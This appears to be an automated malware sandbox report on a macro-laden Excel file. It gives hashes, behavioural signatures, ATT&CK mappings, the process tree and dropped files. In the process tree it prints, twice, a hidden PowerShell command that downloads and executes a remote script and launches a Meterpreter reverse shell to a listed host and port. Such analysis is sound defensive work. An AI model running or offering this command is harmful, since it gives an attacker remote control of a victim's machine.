000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67

General

Target

000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67.xls
Size

35KB
MD5

7f3f985ec7c2739f6670083deda3c625
SHA1

ea48dc066138d62012b862874b50d37f64281d3c
SHA256

000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67
SHA512

ad033808ce820074814ebe8f8ab4b7880fe2f027e7668bebaa4c2729f79a8374653f37db4a8735660eab5238acb1a6595a919e1abcb137add63fbf951452eb7b
SSDEEP

768:ctvo+uzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJYrm2Ucd93:Myk3hbdlylKsgqopeJBWhZFGkE+cL2N1

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2860	2732	powershell.exe	30
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2872	2556	wscript.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	2860	powershell.exe
7	2860	powershell.exe
8	2696	powershell.exe
9	2696	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2696	powershell.exe
2860	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2556	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2860	powershell.exe
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2556	EXCEL.EXE
2556	EXCEL.EXE
2556	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2872	2556	EXCEL.EXE	33
PID 2556 wrote to memory of 2872	2556	EXCEL.EXE	33
PID 2556 wrote to memory of 2872	2556	EXCEL.EXE	33
PID 2556 wrote to memory of 2872	2556	EXCEL.EXE	33
PID 2872 wrote to memory of 2696	2872	wscript.exe	34
PID 2872 wrote to memory of 2696	2872	wscript.exe	34
PID 2872 wrote to memory of 2696	2872	wscript.exe	34
PID 2872 wrote to memory of 2696	2872	wscript.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67.xls
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M3VG4JWIUIKTE56V5376.temp

Filesize
7KB

MD5
401f4b03a57e5a9fa729461c031e1e64

SHA1
f70d893007162bcf2d2ff585e1231c51bc59a585

SHA256
dc758d05de123945a2b5b07cde8d3ef86d418720c0326667b86e16f2343f7e20

SHA512
a088c6b7d5bf5c7b13edf621c8b3da4e7a63f49d8d5c99768ccdd963bdc23eb57d1098fd7ee1a00cbe4cc469e1801d2090a509763e298ae496a1398aaed351f1

Download Submit
C:\Users\Public\config.vbs

Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/2556-38-0x0000000005FA0000-0x00000000060A0000-memory.dmp

Filesize
1024KB

Download
memory/2556-18-0x0000000005FA0000-0x00000000060A0000-memory.dmp

Filesize
1024KB

Download
memory/2556-37-0x0000000005FA0000-0x00000000060A0000-memory.dmp

Filesize
1024KB

Download
memory/2556-39-0x0000000005FA0000-0x00000000060A0000-memory.dmp

Filesize
1024KB

Download
memory/2556-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2556-17-0x0000000005FA0000-0x00000000060A0000-memory.dmp

Filesize
1024KB

Download
memory/2556-1-0x00000000725ED000-0x00000000725F8000-memory.dmp

Filesize
44KB

Download
memory/2556-49-0x00000000725ED000-0x00000000725F8000-memory.dmp

Filesize
44KB

Download
memory/2556-50-0x0000000005FA0000-0x00000000060A0000-memory.dmp

Filesize
1024KB

Download
memory/2556-51-0x0000000005FA0000-0x00000000060A0000-memory.dmp

Filesize
1024KB

Download
memory/2556-52-0x0000000005FA0000-0x00000000060A0000-memory.dmp

Filesize
1024KB

Download
memory/2860-45-0x000000001B850000-0x000000001BB32000-memory.dmp

Filesize
2.9MB

Download
memory/2860-46-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download

Analysis

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